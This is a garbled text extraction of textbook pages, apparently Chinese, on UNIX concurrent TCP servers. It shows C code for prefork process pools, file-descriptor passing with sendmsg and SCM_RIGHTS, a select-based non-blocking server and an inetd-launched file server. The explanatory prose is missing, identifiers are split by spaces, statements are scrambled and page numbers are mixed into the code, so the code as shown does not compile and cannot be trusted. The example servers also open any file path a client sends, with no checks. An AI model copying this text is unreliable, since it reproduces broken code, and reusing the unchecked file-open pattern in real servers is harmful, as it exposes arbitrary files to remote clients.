for (i = 0; i < CHILD NUM MAX; i ++ ) if (pids[i] > 0) kill(pids[i], SIGTERM); while (wait(null) > 0) exit(0); create child CHILD INIT N UM, SIGINT,,,,,, 1;,,, 01, CS PROCESSING, 1 ; 0, CS WAITING, 1,, kill idle child ;, create child create # include prefork dyn.h child : void create child(struct child queue cq, int lfd, int num) int pfd[2]; int i, idx; idx = 0; for (i = 0; i < num; i ++ ) for (; cq - > ci[idx].pid > 0; idx ++ ) if (idx == CHILD NUM MAX - 1) return; pipe(pfd); cq - > ci[idx].pid = fork(); if (cq - > ci[idx].pid > 0) cq - > ci[idx].state = CS cq - > ci[idx].pfd = pfd[0]; close(pfd[1]); cq - > chld no ++ ; cq - > chld avail ++ ; else close(pfd[0]); 304 WAITING;
child exit(0); create proc(lfd, pfd[1]); child num ; :, pipe,, CS WAITING, pfd,, 1, 1, child kill idle child : # include prefork dyn.h void kill idle child(struct child queue cq) int i; int idx; idx = 0; for (i = 0; i < CHILD AVAIL LOW; i ++ ) for (; cq - > ci[idx].state!= CS WAITING; idx ++ ) if (idx == CHILD NUM MAX - 1) return; kill(cq - > ci[idx].pid, SIGTERM); cq - > ci[idx].pid = - 1; close(cq - > ci[idx].pfd); cq - > ci[idx].state = - 1; cq - > chld avail - - ; cq - > chld no - - ; proc kill idle child CHILD AVAIL LOW ( CS WAITING ), SIGTERM, - 1,, - 1, 1 child proc, : # include prefork void sigterm dyn.h handler(int); int term flag = 0; void child proc(int lfd, int pfd) 305
int cfd; int msg; char buf[1024]; int fd; int n; struct sigaction act; act.sa handler = sigterm handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigterm, &act, NULL); for (; term flag == 0; ) cfd = accept(lfd, NULL, NULL); if (cfd < 0) continue; msg = 1; write(pfd, &msg, sizeof(msg)); n = read(cfd, buf, sizeof(buf)); buf[n] = 0; fd = open(buf, O if (fd > 0) RDONLY); for (; (n = read(fd, buf, sizeof(buf))) > 0; ) write(cfd, buf, n); close(fd); close(cfd); msg = 0; write(pfd, &msg, sizeof(msg)); exit(0); void sigterm term flag = 1; child handler(int sig) proc accept,,, child proc,, 1 ; child proc,,, 0; SIGTERM, sigterm handler term flag 1, child 306 proc,
3 :,,, CS AVTIVE ;,, CS IDLE, U NIX 13 10 : 13 10 TCP ( : ) # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > # define CHILD NUM 20 # define CS IDLE 0 # define CS ACTIVE 1 # define BACKLOG 10 struct child info int pid; int sfd; 307
; int state; CHILD N UM : CS IDLE CS ACTIVE, CS IDLE ;, CS ACTIVEchild info :, : # include prefork void sigint int main() int lfd, cfd; struct sockaddr fd.h handler(int); in addr; struct sigaction act; fd set rds; int maxfd; struct child info ci[child NUM]; int navail = CHILD int i, nsel, n; int msg; NUM; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); i = 1; setsockopt(lfd, SOL SOCKET, SO REUSEADDR, &i, sizeof(i)); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, BACKLOG); create child(ci); act.sa handler = sigint handler; act.sa mask = 0; act.sa flags = 0; 308
sigaction(sigint, &act, NULL); FD ZERO(&rds); for (;;) if (navail > 0) FD SET(lfd, &rds); maxfd = lfd; for (i = 0; i < CHILD NUM; i ++ ) FD SET(ci[i].sfd, &rds); maxfd = maxfd > ci[i].sfd?maxfd : ci[i].sfd; nsel = select(maxfd + 1, &rds, NULL, NULL, NULL); if (FD ISSET(lfd, &rds)) cfd = accept(lfd, NULL, NULL); if (cfd < 0) continue; for (i = 0; i < CHILD NUM; i ++ ) if (ci[i].state == CS IDLE) break; ci[i].state = CS ACTIVE; navail - - ; send fd(ci[i].sfd, cfd); close(cfd); if (nsel == 1) continue; for (i = 0; i < CHILD NUM && nsel > 0; i ++ ) if (FD ISSET(ci[i].sfd, &rds)) n = read(ci[i].sfd, &msg, sizeof(msg)); if (n == 0) spawn child(&ci[i]); ci[i].state = CS IDLE; navail ++ ; nsel - - ; void sigint handler(int sig) int i; 309
for (i = 0; i < CHILD NUM MAX; i ++ ) if (pids[i] > 0) kill(pids[i], SIGTERM); while (wait(null) > 0) exit(0); create child, ci, : navail,,, select,, accept, CS IDLE, send fd, 1, ;,, spawn child ;,, CS 1 create # include prefork fd.h child : void create child(struct child info ci[]) int sfd[2]; pid int i; t pid; for (i = 0; i < CHILD NUM; i ++ ) socketpair(af UNIX, SOCK STREAM, 0, sfd); pid = fork(); if (pid == 0) close(0); close(1); dup(sfd[1]); dup(sfd[1]); close(sfd[0]); close(sfd[1]); child exit(0); else proc(); close(sfd[1]); ci[i].pid = pid; ci[i].sfd = sfd[0]; 310 IDLE,
ci[i].state = CS IDLE; CHILD N UM, socketpair, sfd[ 1 ] 1, child proc : sfd[ 0], CS : spawn # include prefork IDLE child,, fd.h void spawn child(struct child info ci) int sfd[2]; pid t pid; socketpair(af UNIX, SOCK STREAM, 0, sfd); pid = fork(); if (pid == 0) close(1); dup2(sfd[1], 1); close(sfd[0]); close(sfd[1]); child exit(0); else proc(); close(sfd[1]); ci - > pid = pid; ci - > sfd = sfd[0]; ci - > state = CS IDLE; spawn child create child send fd, : # include < uio.h > void send fd(int sd, int fd) struct msghdr msg; struct cmsghdr cmsg; struct iovec iov[1]; 311
char ch; msg.msg name = NULL; msg.msg namelen = 0; iov[0].iov base = &ch; iov[0].iov len = 1; msg.msg iov = iov; msg.msg iovlen = 1; cmsg.cmsg len = 16; cmsg.cmsg level = SOL SOCKET; cmsg.cmsg type = SCM RIGHTS; bcopy(cmsg.cmsg data, &fd, sizeof(fd)); msg.msg control = (caddr t)&cmsg; msg.msg controllen = 16; msg.msg flags = 0; sendmsg(sd, &msg, 0); child proc, : # include prefork void child int cfd; proc(void) char buf[1024]; int msg; int fd; int n; for (;;) cfd = recv fd.h fd(0); n = read(cfd, buf, sizeof(buf)); buf[n] = 0; fd = open(buf, O if (fd > 0) RDONLY); for (; (n = read(fd, buf, sizeof(buf))) > 0; ) write(cfd, buf, n); close(fd); close(cfd); msg = 1; write(1, &msg, sizeof(msg)); 312
child proc, ( 0),,,,,,,,,, recv fd, : # include < uio.h > int recv fd(int sd) struct msghdr msg; struct cmsghdr cmsg; struct iovec iov[1]; char ch; msg.msg name = NULL; msg.msg namelen = 0; iov[0].iov base = &ch; iov[0].iov len = 1; msg.msg iov = iov; msg.msg iovlen = 1; cmsg.cmsg len = 16; cmsg.cmsg level = SOL SOCKET; cmsg.cmsg type = SCM RIGHTS; msg.msg control = (caddr t)&cmsg; msg.msg controllen = 16; recvmsg(sd, &msg, 0); return ( (int )cmsg.msg data); 13.8 TCP : I/ O,,,, HTT P, HTT P, HTT P, HTT P, HTTP, TCP : select 313
,,, :,, ;,, HTT P, : (1 ) (2 ) select (3 ), (4 ), (5 ) ( 1),,,, : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > # define CONN FD MAX 50 # define BACKLOG 10 struct conn queue int navail; int lfd; struct conn info int fd; int sd; ci[conn FD MAX]; ; 50, conn queue, navail ; lfd conn info : : # include sel int main() 314 conc.h
struct conn struct sockaddr fd queue cq; set rds, wds; int maxfd; int i, nsel; char buf[1024]; int n; in addr; cq.lfd = socket(af INET, SOCK STREAM, 0); if (cq.lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); i = 1; setsockopt(cq.lfd, SOL i = fcntl(cq.lfd, F GETFL, 0); fcntl(cq.lfd, F SETFL, i O NONBLOCK); SOCKET, SO REUSEADDR, &i, sizeof(i)); if (bind(cq.lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(cq.lfd, BACKLOG); FD FD ZERO(&rds); ZERO(&wds); for (i = 0; i < CONN FD MAX; i ++ ) cq.ci[i].fd = - 1; cq.ci[i].sd = - 1; cq.navail = CONN FD MAX; for (;;) maxfd = 0; if (cq.navail > 0) FD SET(cq.lfd, &rds); maxfd = cq.lfd; for (i = 0; i < CONN FD MAX; i ++ ) if (cq.ci[i].sd > 0) if (cq.ci[i].fd > 0) FD SET(cq.ci[i].fd, &wds); 315
else FD SET(cq.ci[i].fd, &rds); maxfd = maxfd > cq.ci[i].fd?maxfd : cq.ci[i].fd; nsel = select(maxfd + 1, &rds, &wds, NULL, NULL); if (FD ISSET(cq.lfd, &rds)) accept nsel - - ; conn(&cq); for (i = 0; i < CONN FD MAX && nsel > 0; i ++ ) if (FD ISSET(cq.ci[i].sd, &rds)) read nsel - - ; requ(&cq, i); if (FD ISSET(cq.ci[i].sd, &wds)) write nsel - - ; resp(&cq, i); fcntl,, - 1,, :,,,, - 1,, ; 0,, select, accept conn, read requ, write accept conn, : void accept conn(struct conn queue cq) int cfd; int i; cfd = accept(cq - > lfd, NULL, NULL); if (cfd < 0) return; i = fcntl(cfd, F GETFL, 0); 316 resp
fcntl(cfd, F SETFL, i O NONBLOCK); for (i = 0; i < CONN FD MAX; i ++ ) if (cq - > ci[i].sd < 0) break; cq - > ci[i].sd = cfd; cq - > navail - - ; accept,,, 1 read requ, : void read requ(struct conn queue cq, int idx) char buf[512]; int fd; int n; n = read(cq - > ci[idx].sd, buf, sizeof(buf)); buf[n] = 0; fd = open(buf, O RDONLY); if (fd < 0) close(cq - > ci[idx].sd); cq - > ci[idx].sd = - 1; cq - > navail ++ ; return; cq - > ci[idx].fd = fd; read reqn,,,, - 1, 1 write resp, : void write resp(struct conn queue cq, int idx) char buf[1024]; int n; n = read(cq - > ci[idx].fd, buf, sizeof(buf)); if (n == 0) close(cq - > ci[idx].sd); 317
close(cq - > ci[idx].fd); cq - > ci[idx].sd = - 1; cq - > ci[idx].fd = - 1; return; write(cq - > ci[idx].sd, buf, n); write, write 1, resp, resp, - 13.9 TCP :,,, fork exec, :,, 0, 1 2,,, :,, : int main() int fd; char buf[1024]; int n; n = read(1, buf, sizeof(buf)); buf[n] = 0; fd = open(buf, O if (fd > 0) RDONLY); for (; (n = read(fd, buf, sizeof(buf))) > 0; ) write(1, buf, n); inetd,, 0, 1 2 / etc/ inetd.conf : miniweb stream tcp nowait zhb / usr/ local/ bin/ miniweb / etc/ services miniweb : 318
miniweb 8080/ tcp miniweb, TCP,, zhb, / usr/ local/ bin/ miniweb, miniweb 13.10 UDP TCP, UDP, TCP TCP 4 :, ; ; select ;, 319